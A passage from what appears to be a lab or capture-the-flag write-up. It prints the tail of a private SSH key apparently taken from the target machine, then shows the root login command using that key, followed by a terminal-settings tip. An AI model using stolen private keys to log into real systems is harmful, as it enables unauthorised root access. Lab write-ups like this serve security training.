Jm9M2T9H6STENv5//CSvSHNzUgtVT0zE9hXXKDHc6qKX6HZNNIWedjEZ6UfYMDuD5/wUsR
EgeZAQO35XuniBPgsiQgp8HIxkaOTltuJ5fbyyT1qfeYPqwAZnz+PRGDdQmwieIYVCrNZ3
A1H4/kl6KmxNdVu3mfhRQ93gqQ5p0ytQhE13b8OWhdnepFriqGJHhUqRp1yNtWViqFDtM1
lzNACW5E1R2eC6V1DGyWzcKVvizzkXOBaD9LOAkd6m9llkrep4QJXDNtqUcDDJdYrgOiLd
/Ghihu64/9oj0qxyuzF/5B82Z3IcA5wvdeGEVhhOWtEHyCJijDLxKxROuBGl6rzjxsMxGa
gvpMXgUQPvupFyOapnSv6cfGfrUTKXSUwB2qXkpPxs5hUmNjixrDkIRZmcQriTcMmqGIz3
2uzGlUx4sSMmovkCIXMoMSHa7BhEH2WHHCQt6nvvM+m04vravD4GE5cRaBibwcc2XWHQAA
AMEAxHVbgkZfM4iVrNteV8+Eu6b1CDmiJ7ZRuNbewS17e6EY/j3htNcKsDbJmSl0Q0HqqP
mwGi6Kxa5xx6tKeA8zkYsS6bWyDmcpLXKC7+05ouhDFddEHwBjlCck/kPW1pCnWHuyjOm9
eXdBDDwA5PUF46vbkY1VMtsiqI2bkDr2r3PchrYQt/ZZq9bq6oXlUYc/BzltCtdJFAqLg5
8WBZSBDdIUoFba49ZnwxtzBClMVKTVoC9GaOBjLa3SUVDukw/GAAAAwQD0scMBrfeuo9CY
858FwSw19DwXDVzVSFpcYbV1CKzlmMHtrAQc+vPSjtUiD+NLOqljOv6EfTGoNemWnhYbtv
wHPJO6Sx4DL57RPiH7LOCeLX4d492hI0H6Z2VN6AA50BywjkrdlWm3sqJdt0BxFul6UIJM
04vqf3TGIQh50EALanN9wgLWPSvYtjZE8uyauSojTZ1Kc3Ww6qe21at8I4NhTmSq9HcK+T
KmGDLbEOX50oa2JFH2FCle7XYSTWbSQ9sAAADBAOD9YEjG9+6xw/6gdVr/hP/0S5vkvv3S
527afi2HYZYEw4i9UqRLBjGyku7fmrtwytJA5vqC5ZEcjK92zbyPhaa/oXfPSJsYk05Xjv
6wA2PLxVv9Xj5ysC+T5W7CBUvLHhhefuCMlqsJNLOJsAs9CSqwCIWiJlDi8zHkitf4s6Jp
Z8Y4xSvJMmb4XpkDMK464P+mve1yxQMyoBJ55BOm7oihut9st3Is4ckLkOdJxSYhIS46bX
BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Then we proceed to access to the victim machine as root:
1
ssh -i id_rsa root@10.10.11.134
Notes
If we notice that while using SSH the shell is not working properly, it is necessary to export the proper variable by running this command:
1
export TERM=xterm